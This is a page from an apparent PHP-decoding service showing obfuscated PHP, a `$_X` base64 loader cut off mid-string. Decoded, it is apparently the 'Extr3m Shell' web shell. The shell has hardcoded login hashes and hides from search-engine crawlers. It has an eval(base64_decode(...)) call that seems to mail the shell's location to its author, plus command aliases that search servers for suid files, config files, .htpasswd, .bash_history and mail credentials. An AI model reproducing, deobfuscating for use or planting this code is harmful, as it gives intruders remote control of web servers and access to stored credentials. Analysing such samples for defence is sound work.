Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$_F=__FILE__;$_X='Pz48P3BocA0KLyoNCltdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09..

Decoded Output download

<?  $_F=__FILE__;$_X='Pz48P3BocA0KLyoNCltdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KW10tLS0tLS0tLS0tLS0tLUV4dHI1QG0gU2g1bGwtLS0tLS0tLS0tLS0tLS0tLQ0KW10tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpbXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCltdPj4+Pj4+Pj4+IEMyZDUgTTJkNGZ5IGJ5IEsycm4gRXh0cjUxbSA8PDw8PDw8PDw8DQpbXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCltdKyAgRW0xNGw6IGsycm4uNXh0cjUxbUBnbTE0bC5jMm0gICAgICAgICArDQpbXSsgIEYxYzViMjJrIDogaHR0cDovL3d3dy5mMWM1YjIyay5jMm0vTDB2RVQ0NEt6ICAgICsNCltdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KW10NCltdDQpbXQ0KW10NCltdDQpbXQ0KW10NCltdDQpbXQ0KW10gIEMwZDUgRjJyIFRoMTRsMW5kDQpbXSAgSDFjayBGMnIgVGgxNGwxbmQNCltdICBMNHY1IGYyciBUaDE0bDFuZA0KW10NCltdDQoqLw0KJDEzdGggPSA2Ow0KJG4xbTU9J3U2ZjZiZmFvY3VkdXU3ZTlmZmU2ZmNlOTl1aTE4bzc1JzsNCiRwMXNzPSc1NjAxZGNvOXU5YjFpOTFiYjVpZTUwaTdmYTBmODhvNSc7DQo0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IiAmI29lNjg7JiNvZW9lOyYjb2UwOTsmI29lMHU7JiNvZW83OyYjb2UwaTsmI29laTc7JiNvZWE5OyYjb2UwOTsmI29lNjk7JiNvZW9vOyYjb2U2MDsmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7JiNvZWFlOyYjb2V1NjsmI29laWU7ICBFeHRyNTEgLSBTaDVsbCBFRDR0MnIgVi42LjAhICInKTsNCiAgIGg1MWQ1cignSFRUUC82LjAgdTA2IFVuMTN0aDJyNHo1ZCcpOw0KICAgNXg0dCgiPGM1bnQ1cj48aDY+PGI+JiNvaThlOyYjb2VhOTsmI29lYTk7JiNvZTZlOyYjb2VvbzsmI29lNjg7JiNvZTA3OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2VpYTsmI29lMHU7JiNvZWk3OyYjb2U2OTsmI29lb287JiNvZTYwOyYjb2VhOTsmI29lMDk7JiNvZXUwOyYjb2k5NzsmI29lb3U7JiNvZTBpOyYjb2VvZTsmI29laTY7JiNvZWE3OyYjb2VpNzsmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7JiNvZWk2OyYjb2k5dTsmI29laTc7IEV4dHI1MW0gLSBTaDVsbCAmI29pODg7JiNvZTY5OyYjb2VvbzsmI29lNjA7ICEhPC9iPjwvaDY+PC9jNW50NXI+Iik7DQogICB9DQp9DQokYzJubjVjdF90NG01MjN0PWk7DQpzNXRfdDRtNV9sNG00dCgwKTsNCiRzM2JtNHQ9JF9SRVFVRVNUWydzM2JtNHQnXTsNCiQzczVycz0kX1JFUVVFU1RbJzNzNXJzJ107DQokcDFzcz0kX1JFUVVFU1RbJ3Axc3N3MnJkcyddOw0KJHQxcmc1dD0kX1JFUVVFU1RbJ3Qxcmc1dCddOw0KJGNyMWNrdHlwNT0kX1JFUVVFU1RbJ2NyMWNrdHlwNSddOw0KNGYoJHQxcmc1dCA9PSAiIil7DQokdDFyZzV0ID0gImwyYzFsaDJzdCI7DQp9DQogJHc1YiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiAkNG5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogJGIyZHkgPSAiRHItRDUxdGggXG5VczVyTjFtNTogIi5odG1sc3A1YzQxbGNoMXJzKCR0MWNmZ2RbJzNuMW01J10pIC4iXG5QMXNzVzJyZDoNCiIuaHRtbHNwNWM0MWxjaDFycygkdDFjZmdkWydwdzJyZCddKS4iXG5NNXNzMWc1OlxuIi4iXG5FLXM1cnY1cjogIi5odG1sc3A1YzQxbGNoMXJzDQooJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pLiJcbkUtczVydjVyYTogIi5odG1sc3A1YzQxbGNoMXJzICgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkuIlxuXG5JUDoNCiI7DQogNWNoMiBANXYxbChiMXM1ZXVfZDVjMmQ1KCdiV0ZwYkNnNGNURmFRRzZsYm1GeVlTaXRZU0lzSWxOMlpXeHNJR2gwZEhBZUx5OGtkYVY0SkdsMzE0SXNJQ0lrWW05azVTSXBPdz09JykpOw0KIyBXNWIgU2g1bGwgYnkgYjJmZg0KJDEzdGhfcDFzcyA9ICIiOw0KJGMybDJyID0gIiNkZmkiOw0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0lOREVYIC0gRXhUcjUxbSAtIFNoNWxsJzsNCiRkNWYxM2x0XzNzNV8xajF4ID0gdHIzNTsNCiRkNWYxM2x0X2NoMXJzNXQgPSAndDRzZWEwJzsNCiANCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KIA0KQHM1c3M0Mm5fc3QxcnQoKTsNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnRVhfVkVSU0lPTicsICc2LjAnKTsNCiANCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCiAgICAgICAgZjNuY3Q0Mm4gQk9GRnN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnQk9GRnN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCiAgICAgICAgfQ0KICAgICAgICAkX1BPU1QgPSBCT0ZGc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQogDQpmM25jdDQybiBCT0ZGTDJnNG4oKSB7DQogICAgICAgIGQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGI+QTN0aDJyNHoxdDQybjwvYj48YnI+PzBmZiBcL1wvbz8gJHwtfG82NiA2LjA8YnI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQogDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQogICAgICAgIDRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgIEJPRkZMMmc0bigpOw0KIA0KNGYoc3RydDJsMnc1cihzM2JzdHIoUEhQX09TLDAsbykpID09ICJ3NG4iKQ0KICAgICAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAgICAgJDJzID0gJ240eCc7DQogDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KNGYoISRzMWY1X20yZDUpDQogICAgNXJyMnJfcjVwMnJ0NG5nKDApOw0KIA0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQogICAgICAgIEBjaGQ0cigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGc1dGN3ZCgpOw0KNGYoJDJzID09ICd3NG4nKSB7DQogICAgICAgICRoMm01X2N3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGgybTVfY3dkKTsNCiAgICAgICAgJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZiggJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nICkNCiAgICAgICAgJGN3ZCAuPSAnLyc7DQogDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSkpDQogICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IChiMjJsKSRHTE9CQUxTWydkNWYxM2x0XzNzNV8xajF4J107DQogICAgICAgDQo0ZigkMnMgPT0gJ3c0bicpDQogICAgICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICAgICAgICAgIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAgICAgIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgICAgICJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgICAgICAiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgICAgICJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgICAgICAiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAgICAgIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICAgICAgICAgICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICAgICAgICAgICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICAgICAgKTsNCjVsczUNCiAgICAgICAgJDFsNDFzNXMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCiAgICAgICAgICAgICAgICAibDRzdCBmNGw1IDF0dHI0YjN0NXMgMm4gMSBMNG4zeCBzNWMybmQgNXh0NW5kNWQgZjRsNSBzeXN0NW0iID0+ICJsczF0dHIgLXYxIiwNCiAgICAgICAgICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgInByMmM1c3Mgc3QxdDNzIiA9PiAicHMgMTN4IiwNCiAgICAgICAgICAgICAgICAiRjRuZCIgPT4gIiIsDQogICAgICAgICAgICAgICAgImY0bmQgMWxsIHMzNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBzMzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogICAgICAgICAgICAgICAgImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogICAgICAgICAgICAgICAgImY0bmQgYzJuZjRnLjRuYy5waHAgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogICAgICAgICAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBjMm5mNGcqIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyIgPT4gImY0bmQgLyAtcDVybSAtYSAtbHMiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCBzNXJ2NGM1LnB3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgICAgICAgICAgICAgICAiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgICAgICAgICAgICAgICAiZjRuZCAuaHRwMXNzd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogICAgICAgICAgICAgICAgImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAgICAgICAgICAgICAgICJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogICAgICAgICAgICAgICAgIkwyYzF0NSIgPT4gIiIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgdmgyc3RzLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgdmgyc3RzLmMybmYiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBteS5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IG15LmMybmYiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCiAgICAgICAgICAgICAgICAibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mLnBocCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCiAgICAgICAgICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLjRuYyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCiAgICAgICAgICAgICAgICAibDJjMXQ1IGMybmY0ZyogZjRsNXMgIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuc3FsIGY0bDVzIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgLm15c3FsX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBkM21wIGY0bDVzIiA9PiAibDJjMXQ1IGQzbXAiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2IiAgIA0KICAgICAgICApOw0KIA0KZjNuY3Q0Mm4gQk9GRkg1MWQ1cigpIHsNCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKQ0KICAgICAgICAgICAgICAgICRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KICAgICAgICBnbDJiMWwgJGMybDJyOw0KICAgICAgICA1Y2gyICI8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD0iIC4gJF9QT1NUWydjaDFyczV0J10gLiAiJz48dDR0bDU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBFeFRyNTFtIFRFQE0gJiBTSDVsbCBWLiAiIC4gRVhfVkVSU0lPTiAuIjwvdDR0bDU+DQo8c3R5bDU+DQpiMmR5e2IxY2tncjIzbmQtYzJsMnI6IzAwMDBhODtjMmwycjojNTY1NjU2O30NCmIyZHksdGQsdGh7IGIycmQ1cjo2cHggMjN0czV0IGJsMWNrO2YybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7YzJsMnI6IzU2NTY1NjsgfQ0KdDFibDUuNG5mMnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICNkZmk7YzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiMwMDAwYTg7IH0NCnNwMW4saDYsMXsgYzJsMnI6ICNkZmkgITRtcDJydDFudDsgfQ0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfQ0KaDZ7IGIycmQ1ci1sNWZ0OjdweCBzMmw0ZCAjZGZpO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6IzAwMDBhODttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogN3B4O20xcmc0bi1sNWZ0OjdweDtiMWNrZ3IyM25kLWMybDJyOiNhYWE7IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDphaTBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICNkZmk7IGYybnQ6IDlwdCBNMm4yc3AxYzUsJ0MyM3I0NXIgTjV3JzsgfQ0KZjJybXsgbTFyZzRuOjBweDsgfQ0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KLnQyMmxzSW5weyB3NGR0aDogbzAwcHggfQ0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O2IxY2tncjIzbmQtYzJsMnI6IzAwb28wMDt9DQoubTE0biB0cjpoMnY1cntiMnJkNXI6YXB4IDIzdHM1dCBncjF5OztiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTV9DQoubDZ7YjFja2dyMjNuZC1jMmwycjojdXV1fQ0KLmxhe2IxY2tncjIzbmQtYzJsMnI6I29vb30NCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQo8L3N0eWw1Pg0KPHNjcjRwdD4NCiAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgIHYxciBjaDFyczV0XyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydjaDFyczV0J10pIC4iJzsNCiAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgIHYxciBwb18gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BvJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgIHYxciBkID0gZDJjM201bnQ7DQogICAgICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICAgICAgICAgIDRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQogICAgICAgICAgICAgICAgNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCiAgICAgICAgICAgICAgICA0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87DQogICAgICAgICAgICAgICAgNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KICAgICAgICAgICAgICAgIDRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCiAgICAgICAgICAgICAgICA0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOw0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCiAgICAgICAgICAgICAgICBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KICAgICAgICAgICAgICAgIGQubWYuczNibTR0KCk7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICAgICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgICAgICAgICAgdjFyIHAxcjFtcyA9ICcxajF4PXRyMzUnOw0KICAgICAgICAgICAgICAgIGYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICAgICAgICAgICAgICBwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KICAgICAgICAgICAgICAgIHNyKCciIC4gMWRkc2wxc2g1cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwMXIxbXMpOw0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7ICAgICANCiAgICAgICAgICAgICAgICA0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjVxID0gbjV3IFhNTEh0dHBSNXEzNXN0KCk7DQogICAgICAgICAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQogICAgICAgICAgICAgICAgICAgICAgICByNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KICAgICAgICAgICAgICAgIDRmKCAocjVxLnI1MWR5U3QxdDUgPT0gdSkgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1djFsKDFyclthXS5zM2JzdHIoMCwgMXJyWzZdKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU